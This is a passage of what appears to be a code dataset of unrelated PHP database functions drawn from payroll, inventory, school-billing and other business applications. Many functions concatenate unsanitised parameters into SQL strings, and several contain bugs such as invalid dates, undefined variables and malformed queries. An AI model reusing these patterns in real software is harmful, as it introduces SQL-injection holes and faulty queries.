JOIN pegawai c ON c.id_pegawai=a.id_pegawai_k JOIN pegawai d ON d.id_pegawai=a.id_pegawai_cs\";\n\n $result = $this->db->query($query);\n return $result->result();\n }", "public function getByIndex()\n {\n $query = \"SELECT a.id_tl, b.nama as 'hewan', c.nama as 'Kasir', d.nama as 'customer_service',\n a.kode as 'kode', a.tanggal as 'tanggal', \n a.sub_total as 'sub_total', a.total_harga as 'total_harga'\n FROM transaksi_layanan a \n JOIN hewan b ON b.id_hewan=a.id_hewan JOIN pegawai c ON c.id_pegawai=a.id_pegawai_k JOIN pegawai d ON d.id_pegawai=a.id_pegawai_cs\";\n\n $result = $this->db->query($query);\n return $result->result();\n }", "function getTunjTarifParam($conn) {\n $last = self::getLastDataPeriodeGaji($conn);\n\n $sql = \"select g.idpegawai,g.kodetunjangan\n from \" . static::table('ga_pegawaitunjangan') . \" g\n left join \" . static::table('ms_tunjangan') . \" t on t.kodetunjangan=g.kodetunjangan\n where g.tmtmulai <= '\" . $last['tglawalhit'] . \"' and t.carahitung in ('P','M') and t.isbayargaji = 'T' and t.isaktif = 'Y' and g.idpegawai is not null and g.isaktif = 'Y'\n order by g.tmtmulai asc\";\n $rs = $conn->Execute($sql);\n\n while ($row = $rs->FetchRow()) {\n $a_tunjtarifparam[$row['kodetunjangan']][$row['idpegawai']] = $row['idpegawai'];\n }\n\n return $a_tunjtarifparam;\n }", "public function getCaracteristicasPlan( $where , $params ){\r\t\t\r\t\t$db = JFactory::getDbo();\r\t\r\t\tif( !is_array( $where ) )\r\t\t\t$where = array();\r\t\t\r\t\t$db = JFactory::getDbo();\r\t\t$query = $db->getQuery(true);\r\t\t\r\t\t$query->select( '*' );\r\t\t$query->from( self::TABLE.' AS a' );\r\t\t$query->innerJoin( '#__caracteristicas_planes AS b ON a.id_plan = b.id_plan' );\r\t\t$query->innerJoin( '#__caracteristicas AS c ON b.id_caracteristica = c.id_caracteristica' );\r\t\t\r\t\t$query->where( 'a.id_plan = '.$this->id_plan , 'AND');\r\t\t\r\t\tforeach( $where as $key=>$obj ){\r\t\t\t\r\t\t\tif( !is_object($obj) )\r\t\t\t\tcontinue;\r\t\t\t\r\t\t\t$consulta = $obj->key . $obj->condition . $obj->value . $obj->glue;\r\t\t\t$query->where( $consulta );\r\t\t\t\r\t\t}\r\t\t\r\t\t// Order ASC default\r\t\tif( isset( $params[ 'order' ] ) )\r\t\t\t$query->order( $params[ 'order' ] );\r\t\t\t\r\t\t// Group By\r\t\tif( isset( $params[ 'group' ] ) )\t\r\t\t\t$query->group( $params[ 'group' ] );\r\t\t\r\t\t$db->setQuery( $query );\r\t\t\r\t\t// loadObject Or loadObjectList\r\t\tif( !isset($params[ 'load' ]) )\r\t\t\t$params[ 'load' ] = 'loadObject';\r\t\t\r\t\treturn $db->$params[ 'load' ]();\r\t}", "public function ambil_satu_baris()\r\n\t{\r\n\t\t$this->jalankan_sql();\r\n\t\treturn $this->kendaraan->fetch(PDO::FETCH_ASSOC);\r\n\t}", "public function get_configuracion_boleta_cobro($codigo, $division = '', $grupo = '', $tipo = '', $periodo = '', $pensum = '', $nivel = '', $grado = ''){\n $sql= \"SELECT *, \";\n $sql.= \" (SELECT per_anio FROM fin_periodo_fiscal WHERE cbol_periodo_fiscal = per_codigo ORDER BY per_codigo DESC LIMIT 0,1) ,\";\n $sql.= \" (SELECT per_descripcion FROM fin_periodo_fiscal WHERE cbol_periodo_fiscal = per_codigo ORDER BY per_codigo DESC LIMIT 0,1) as cbol_periodo_descripcion\";\n $sql.= \" FROM boletas_configuracion_boleta_cobro, boletas_division, boletas_division_grupo, fin_moneda\";\n $sql.= \" WHERE cbol_division = div_codigo\";\n $sql.= \" AND cbol_grupo = div_grupo\";\n $sql.= \" AND div_grupo = gru_codigo\";\n $sql.= \" AND div_moneda = mon_id\";\n if (strlen($codigo)>0) {\n $sql.= \" AND cbol_codigo = $codigo\";\n }\n if (strlen($division)>0) {\n $sql.= \" AND cbol_division = $division\";\n }\n if (strlen($grupo)>0) {\n $sql.= \" AND cbol_grupo = $grupo\";\n }\n if (strlen($tipo)>0) {\n $sql.= \" AND cbol_tipo = '$tipo'\";\n }\n if (strlen($periodo)>0) {\n $sql.= \" AND cbol_periodo_fiscal = $periodo\";\n }\n if (strlen($pensum)>0) {\n $sql.= \" AND cbol_pensum = $pensum\";\n }\n if (strlen($nivel)>0) {\n $sql.= \" AND cbol_nivel = $nivel\";\n }\n if (strlen($grado)>0) {\n $sql.= \" AND cbol_grado = $grado\";\n }\n $sql.= \" ORDER BY gru_codigo ASC, div_codigo ASC, cbol_tipo ASC, cbol_periodo_fiscal ASC, cbol_codigo ASC\";\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br>\";\n return $result;\n }", "function getdata(){\n\t\t$grid = $this->jqdatagrid;\n\n\t\t// CREA EL WHERE PARA LA BUSQUEDA EN EL ENCABEZADO\n\t\t$mWHERE = $grid->geneTopWhere('rcobro');\n\n\t\t$response = $grid->getData('rcobro', array(array()), array(), false, $mWHERE, 'id','desc' );\n\t\t$rs = $grid->jsonresult( $response);\n\t\techo $rs;\n\t}", "public function getAllMerekBajuAktif()\n {\n $sql = \"SELECT DISTINCT mb.id_merek_baju AS idMerekBaju, mb.nama_merek_baju AS merekBaju \n FROM merek_baju mb \n JOIN baju ba ON mb.id_merek_baju = ba.id_merek_baju\";\n $query = koneksi()->query($sql);\n $hasil = [];\n while ($data = $query->fetch_assoc()) {\n $hasil[] = $data;\n }\n return $hasil;\n }", "public function kodebrgkeluar()\n {\n $query = $this->select('RIGHT(brgkeluar.id_brgkeluar,4) as id_brgkeluar', False)->find();\n\n if ($query != NULL) {\n // mengecek jk kode telah tersedia\n $data = max($query);\n $kode = $data['id_brgkeluar'] + 1;\n } else {\n $kode = 1;\n }\n\n $batas = str_pad($kode, 4, \"0\", STR_PAD_LEFT);\n $kodeTampil = \"BK\" . $batas;\n return $kodeTampil;\n }", "function getdataRwyt($skpd_id, $AsetId, $tglakhirperolehan, $tglawalperolehan, $param, $tglpembukuan)\n{\n\n if($param == '01') {\n $tabel_log = 'log_tanah';\n\n $tabel = 'tanah';\n $tabel_view = 'view_mutasi_tanah';\n } elseif($param == '02') {\n $tabel_log = 'log_mesin';\n $tabel = 'mesin';\n $tabel_view = 'view_mutasi_mesin';\n } elseif($param == '03') {\n $tabel_log = 'log_bangunan';\n $tabel = 'bangunan';\n $tabel_view = 'view_mutasi_bangunan';\n } elseif($param == '04') {\n $tabel_log = 'log_jaringan';\n $tabel = 'jaringan';\n $tabel_view = 'view_mutasi_jaringan';\n } elseif($param == '05') {\n $tabel_log = 'log_asetlain';\n $tabel = 'asetlain';\n $tabel_view = 'view_mutasi_asetlain';\n } elseif($param == '06') {\n $tabel_log = 'log_kdp';\n $tabel = 'kdp';\n $tabel_view = 'view_mutasi_kdp';\n }\n\n /*Kode Riwayat\n 0 = Data baru\n 2 = Ubah Kapitalisasi\n 7 = Penghapusan Sebagian\n 21 = Koreksi Nilai\n 26 = Penghapusan Pemindahtanganan\n 27 = Penghapusan Pemusnahan\n */\n/* $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' and l.TglPembukuan>='$tglpembukuan'\n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";*/\n\n $paramLog = \"l.TglPerubahan >'$tglawalperolehan' and l.TglPerubahan <='$tglakhirperolehan' \n AND l.Kd_Riwayat in (0,1,2,3,7,21,26,27,28,50,51,29,30,281,291,36) and l.Kd_Riwayat != 77 \n and l.Aset_ID = '{$AsetId}' \n order by l.Aset_ID ASC\";\n\n\n $log_data = \"select l.* from {$tabel_log} as l \n inner join {$tabel} as t on l.Aset_ID = t.Aset_ID \n where $paramLog\";\n //pr($log_data);\n $splitKodeSatker = explode ('.', $skpd_id);\n if(count ($splitKodeSatker) == 4) {\n $paramSatker = \"kodeSatker = '$skpd_id'\";\n $paramSatker_mts_tr = \"SatkerAwal = '$skpd_id'\";\n $paramSatker_mts_rc = \"SatkerTujuan = '$skpd_id'\";\n\n } else {\n $paramSatker = \"kodeSatker like '$skpd_id%'\";\n $paramSatker_mts_tr = \"SatkerAwal like '$skpd_id%'\";\n $paramSatker_mts_rc = \"SatkerTujuan like '$skpd_id%'\";\n\n }\n $queryALL = array( $log_data );\n for ($i = 0; $i < count ($queryALL); $i++) {\n $result = mysql_query ($queryALL[ $i ]) or die ($param.\"---\".$queryALL[ $i ].\" \".mysql_error());\n if($result) {\n while ($dataAll = mysql_fetch_object ($result)) {\n if($dataAll->Kd_Riwayat == 3 && $dataAll->kodeSatker != $skpd_id) {\n\n } else {\n $getdata[] = $dataAll;\n }\n\n }\n }\n\n }\n if($getdata) {\n return $getdata;\n }\n}", "function BBdekat_tempatIbadah(){\n\t\t$this->db->select('batas_bawah');\n\t\t$this->db->where('nama_parameter', 'dekat');\n\t\t$q = $this->db->get('parameter');\n\t\t$data = $q->result_array();\n\n\t\treturn $hasil = $data[1]['batas_bawah'];\n\t}", "function listarCuentaBancaria(){\n\t\t$this->procedimiento='tes.f_cuenta_bancaria_sel';\n\t\t$this->transaccion='TES_CTABAN_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cuenta_bancaria','int4');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('fecha_baja','date');\n\t\t$this->captura('nro_cuenta','varchar');\n\t\t$this->captura('fecha_alta','date');\n\t\t$this->captura('id_institucion','int4');\n\t\t$this->captura('nombre_institucion','varchar');\n\t\t$this->captura('doc_id','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('id_moneda','integer');\n\t\t$this->captura('codigo_moneda','varchar');\n\t\t$this->captura('denominacion','varchar');\n\t\t$this->captura('centro','varchar');\n\t\t\n\t\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function get_m_jadwal_praktek_antrian($pk)\n {\n return $this->db->get_where('m_jadwal_praktek_antrian',array('pk'=>$pk))->row_array();\n }", "function GetBedroomDetailsUnit($filter=false,$languageID=false)\n\t{\n\t\t$query=$this->db->query(\"select rp_property_attribute_values.*,rp_property_attribute_value_details.* from rp_property_attribute_values,rp_property_attribute_value_details where rp_property_attribute_values.propertyID='$filter' and rp_property_attribute_values.attributeID=1 and rp_property_attribute_values.attrValueID=rp_property_attribute_value_details.attrValueID and rp_property_attribute_value_details.languageID=$languageID\");\n\t}", "function listarCuentaBancaria(){\n\t\t$this->procedimiento='sigep.ft_cuenta_bancaria_sel';\n\t\t$this->transaccion='SIGEP_CUEN_BAN_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cuenta_bancaria','int4');\n\t\t$this->captura('id_cuenta_bancaria_boa','int4');\n\t\t$this->captura('banco','int4');\n\t\t$this->captura('cuenta','varchar');\n\t\t$this->captura('desc_cuenta','varchar');\n\t\t$this->captura('moneda','int4');\n\t\t$this->captura('tipo_cuenta','bpchar');\n\t\t$this->captura('estado_cuenta','bpchar');\n\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\t\t$this->captura('desc_cuenta_banco','varchar');\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function cabangRelokasi()\n { \n $query = $this->db->query(\"select No_Usulan, Cabang_Usulan from trs_relokasi_usulan_header where Cabang_Pengirim = '\".$this->cabang.\"' and Status_Usulan = 'Approv Pst' order by Cabang_Pengirim, No_Usulan asc\")->result();\n\n return $query;\n }", "function search_tor($sumber_dana='',$kata_kunci=''){\n $kata_kunci = form_prep($kata_kunci);\n $sumber_dana = form_prep($sumber_dana);\n if($sumber_dana == ''){\n if($kata_kunci!='')\n {\n $where = \"kode_usulan_belanja LIKE '%{$kata_kunci}%' OR deskripsi LIKE '%{$kata_kunci}%'\";\n $this->db2->where($where);\n }\n\n }else{\n $where = \"sumber_dana = '{$sumber_dana}'\";\n if($kata_kunci!='')\n {\n $where .= \" AND (kode_usulan_belanja LIKE '%{$kata_kunci}%' OR nama_akun LIKE '%{$kata_kunci}%')\";\n }\n $this->db2->where($where);\n }\n $this->db2->order_by(\"kode_usulan_belanja\", \"asc\");\n /* running query */\n $query = $this->db2->get('detail_belanja_');\n if ($query->num_rows()>0){\n return $query->result();\n }else{\n return array();\n }\n }", "function getTarifMasaKerjaAdm($conn, $r_periodetarif) {\n //mendapatkan acuan tunjangan masa kerja admin\n $sql = \"select cast(variabel1 as int) as masakerja,nominal from \" . static::table('ms_tariftunjangan') . \" \n\t\t\t\twhere periodetarif = '$r_periodetarif' and kodetunjangan = 'T00020'\";\n $rowa = $conn->GetRow($sql);\n\n $sql = \"select * from \" . static::table('ms_procmasakerjaadm') . \" where periodetarif = '$r_periodetarif' order by masakerja\";\n $rs = $conn->Execute($sql);\n\n $a_tarifproc = array();\n while ($row = $rs->FetchRow()) {\n\t\t\t$a_tarifproc[$row['masakerja']] = $rowa['nominal'] * ($row['prosentase'] / 100);\n }\n\n return $a_tarifproc;\n }", "public function getBarang_get(){\n $res = $this->api_model->getBarang();\n $this->response($res, 200);\n }", "public function getBarangByKode()\n\t{\n\n\t\tif($this->input->post('kodeBarang'))\n\t\t{\n\n\t\t\t$kode_barang = htmlspecialchars($_POST['kodeBarang']);\n\n\t\t\t$data = $this->db->get_where('inventaris', ['kode_inventaris' => (int) $kode_barang])->row_array();\n\n\t\t\tif($data)\n\t\t\t{\n\n\t\t\t\techo json_encode($data);\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\t\t\t\t$data['result'] = \"Null\";\n\n\t\t\t\techo json_encode($data);\n\n\t\t\t}\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\tredirect('pegawai/peminjaman');\n\n\t\t}\n\n\t}", "function getRelasi()\n {\n $query = $this->db->query('SELECT * FROM `tmp_hasil` as Where `kd_gejala` = `kd_gejala` ');\n return $query->result();\n }", "function get_anulacionmanual_unitario($data){\n\t\tinclude(\"application/config/conexdb_db2.php\");\n\t\t$codcia=$this->session->userdata('codcia');\n//se cambio estado\n\t\t$fecha=$data['fecha'];\n$query=\"a.YHFECDOC \".$fecha.\" and b.SCTEPDCA=\".$data['nropdc'].\" and b.SCTETDOC='\".$data['tipdoc'].\"' and b.SCTESERI='\".$data['serie'].\"' and b.SCTECORR='\".$data['correl'].\"' and b.SCTEALMA='\".$data['codalm'].\"' and b.SCTCSTST='\".$data['stsdoct'].\"'\";\n\t\t\n\t\t\t$sql =\"select b.SCTEFEC,b.SCTESUCA,b.SCTEPDCA,b.SCTETDOC,b.SCTESERI,b.SCTECORR,b.SCTEALMA,b.SCTCSTST,b.SCTTDREF,b.SCTECIAA FROM LIBPRDDAT.MMYHREL0 a inner join LIBPRDDAT.SNT_CTRAM b on CASE WHEN a.YHTIPDOC='07' THEN (select IANROPDC FROM LIBPRDDAT.MMIAREP WHERE IACODCIA='10' AND IACODSUC=a.YHSUCDOC AND IANROREF=a.YHNROPDC) ELSE a.YHNROPDC END=b.SCTEPDCA and CASE WHEN a.YHTIPDOC='07' THEN 'F'||SUBSTRING(a.YHNUMSER,2) WHEN a.YHTIPDOC='08' THEN 'F'||SUBSTRING(a.YHNUMSER,2) ELSE a.YHNUMSER END=b.SCTESERI and a.YHNUMCOR=b.SCTECORR and a.YHTIPDOC=b.SCTETDOC WHERE a.YHSTS='I' AND a.YHCODCIA='\".$codcia.\"' and b.SCTCSTS='A' AND \".$query;\n\t\t\t$datos = odbc_exec($dbconect, $sql)or die(\"<p>\" . odbc_errormsg());\n\t\t\tif (!$datos) {\n\t\t\t\t$dato = false;\n\t\t\t} else { \n\t\t\t\t$nr = odbc_num_rows($datos);\n\t\t\t\t$dato = ($nr>0)?$datos:false;\n\t\t\t}\n\t\t \n\t\treturn $dato;\n\n\t}", "function getKriteriaByPakar($id_pakar){\n $this->db->select(\"eigen_kriteria.id_kriteria, kriteria.nama_kriteria,eigen.kriteria.value_eigen\");\n $this->db->where(\"eigen_kriteria.id_kriteria=kriteria.id_kriteria\");\n $this->db->where(\"eigen_kriteria.id_user=\".$id_pakar);\n \n return $this->db->get($table)->row();\n }", "public function belum_ada_desa()\n {\n $this->db->query(\"SET GLOBAL sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY',''))\");\n $sql = \"\n SELECT a.region_code, a.region_name as nama_kabupaten, c.region_name as nama_provinsi, b.jml_desa\n from\n\n (SELECT region_code, region_name\n FROM `tbl_regions` t\n left join desa d on t.region_name = d.nama_kabupaten\n where length(region_code) = 5 and region_name not like 'kota %'\n and d.id is null) a\n\n left join\n\n (SELECT left(region_code, 5) as kabupaten_code, left(region_code, 2) as provinsi_code, count(*) as jml_desa\n from tbl_regions\n where char_length(region_code) = 13\n group by kabupaten_code) b\n\n on a.region_code = b.kabupaten_code\n\n left join\n\n tbl_regions c on c.region_code = b.provinsi_code\n\n order by a.region_code\n \";\n $data = $this->db->query($sql)->result();\n $this->db->query(\"SET sql_mode = 'ONLY_FULL_GROUP_BY'\");\n return $data;\n }", "function get_list_tidak_berjadwal($params, $airport) {\n $function = \"WHERE\";\n $sql = \"SELECT * \n FROM (\n SELECT a.*, airlines_nm, e.services_nm \n FROM fa_data a \n LEFT JOIN airlines b ON a.airlines_id = b.airlines_id\n LEFT JOIN fa_process c ON c.data_id = a.data_id \n LEFT JOIN fa_flow d ON d.flow_id = c.flow_id \n LEFT JOIN services_code e ON e.services_cd = a.services_cd \";\n foreach ($airport as $value) {\n $sql .= $function . \" rute_all LIKE '%\" . $value . \"%' \";\n $function = \"OR\";\n }\n $sql .= \" GROUP BY a.data_id)result \n WHERE ((DATE(NOW()) BETWEEN DATE(result.date_start) AND DATE(result.date_end)) OR (DATE(NOW()) BETWEEN DATE(result.date_end) AND DATE(result.date_start)))\n AND published_no LIKE ? \n AND airlines_nm LIKE ?\n AND (data_type = 'tidak berjadwal' OR data_type = 'bukan niaga') \n AND result.data_st = 'approved' \n AND result.rute_all LIKE ?\";\n $query = $this->db->query($sql, $params);\n if ($query->num_rows() > 0) {\n $result = $query->result_array();\n $query->free_result();\n return $result;\n } else {\n return array();\n }\n }", "public function getAllBerita($kategori = null)\n {\n if ( $kategori === null) {\n $this->db->order_by('ID_BRT', 'DESC');\n return $this->db->from('tb_berita')\n ->join('tb_kategori', 'tb_kategori.ID_KTR=tb_berita.ID_KTR') // <- join tb_kategori agar dapat menampilkan nama\n ->join('tb_user', 'tb_user.ID_USR=tb_berita.ID_USR') // <- join tb_berita agar dapat menampilkan nama\n ->where('tb_berita.STATUS_BRT = 1')\n ->get()\n ->result_array();\n }\n $this->db->order_by('ID_BRT', 'DESC');\n return $this->db->from('tb_berita')\n ->join('tb_kategori', 'tb_kategori.ID_KTR=tb_berita.ID_KTR') // <- join tb_kategori agar dapat menampilkan nama\n ->join('tb_user', 'tb_user.ID_USR=tb_berita.ID_USR') // <- join tb_berita agar dapat menampilkan nama\n ->where('tb_berita.STATUS_BRT = 1')\n ->get_where('', ['tb_kategori.KATEGORI' => $kategori])\n ->result_array();\n }", "function get_konsistensi($thang=\"2011\",$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null)\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t\r\n\t$sql = 'select round(( sum( jmlrealisasi ) / sum( jmlrpd ) ) *100, 2) AS k\r\n\tfrom tb_konsistensi\r\n\twhere thang='.$thang.' ';\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\tendif;\r\n\t\r\n\treturn $ci->db->query($sql)->row();\r\n}", "function aKodeabsensiPot($conn) {\n $sql = \"select kodeabsensi,absensi from \" . static::table('ms_absensi') . \" where kodeabsensi in ('T','PD')\";\n $a_kode = Query::arrQuery($conn, $sql);\n\n return $a_kode;\n }", "function getUnikKode($table) {\n $this->setConnection('dbsystem');\n $db = $this->getConnection(); \n $q = $db->query(\"SELECT MAX(RIGHT(kode_musrenbang,4)) AS kode FROM \".$table); $kd = \"\"; \n \n //kode awal \n if($q->num_rows()>0){ //jika data ada \n\n foreach($q->result() as $k){ \n //string kode diset ke integer dan ditambahkan 1 dari kode terakhir\n $tmp = ((int)$k->kode)+1;\n \n //kode ambil 4 karakter terakhir \n $kd = sprintf(\"%04s\", $tmp); \n } \n }else{ \n //jika data kosong diset ke kode awal \n $kd = \"0001\"; \n } \n\n //karakter depan kodenya\n $kar = \"MR\"; \n \n //gabungkan string dengan kode yang telah dibuat tadi \n return $kar.$kd; \n }", "function obtiene_bebidas_menu($valor=1){\n /**\n * guardamos la consulta en $sql obtiene todos las tuplas de la tabla\n * ejecutamos la consulta en php obtenemos una tabla con los resultados\n * en el for convertimos a cada tupla en un objeto y añadimos al array $objetos uno a uno\n * retornamos un array con todas las tuplas como objetos\n */\n try {\n $sql=\"SELECT * FROM \".Bebidas::TABLA[0].\" WHERE tipo = 'zumo' and estado = $valor or tipo = 'refresco_con_gas' and estado = $valor or tipo = 'refresco_sin_gas' and estado = $valor\";\n $resultado=$this->conexion->query($sql);\n $objetos=array();\n\n while ($fila=$resultado->fetch_object()){\n $objetos[]=$fila;\n //echo 'fila = '. var_dump($fila);\n }\n\n /*\n for($x=0;$x<$resultado->field_count;$x++){\n $objetos[$x]=$resultado[$x]->fetch_object();\n }*/\n return $objetos;\n } catch (Exception $ex) {\n echo 'error '.$ex;\n }\n \n \n }", "public function get_cartera($division, $grupo, $tipo, $anio, $periodo, $mes, $pensum, $nivel = '', $grado = '', $seccion = ''){\n $sql= \"SELECT *,\";\n ///---cargos----//\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-01-01' AND '$anio-01-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 1\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-02-01' AND '$anio-02-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 2\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-03-01' AND '$anio-03-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 3\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-04-01' AND '$anio-04-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 4\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-05-01' AND '$anio-05-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 5\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-06-01' AND '$anio-06-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 6\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-07-01' AND '$anio-07-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 7\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-08-01' AND '$anio-08-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 8\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-09-01' AND '$anio-09-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 9\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-10-01' AND '$anio-10-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 10\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-11-01' AND '$anio-11-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 11\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division 